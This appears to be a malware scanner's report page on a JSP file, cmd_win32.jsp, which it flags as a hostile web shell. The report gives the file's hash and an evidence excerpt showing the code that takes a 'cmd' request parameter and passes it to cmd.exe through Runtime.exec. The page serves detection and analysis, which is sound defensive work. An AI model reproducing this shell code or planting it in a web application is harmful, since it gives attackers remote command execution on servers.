Hostile ^92% Download

cmd_win32.jsp

Web shell remote command execution

JSP runs the cmd request parameterGeneric JSP webshell tiny

SHA-256a577587bd71c3928ba7902f147a18ab647e1478e0559ec1f213fcbf6c227b991

Evidence

Java servlet request parameter access lines 1–27

1<%@ page import="java.util.*,java.io.*,java.net.*"%>
2<%
3//
⋯13 lines
17<pre>
18<%
19if (request.getParameter("cmd") != null) {
20        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
21        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
22        OutputStream os = p.getOutputStream();
23        InputStream in = p.getInputStream();
⋯4 lines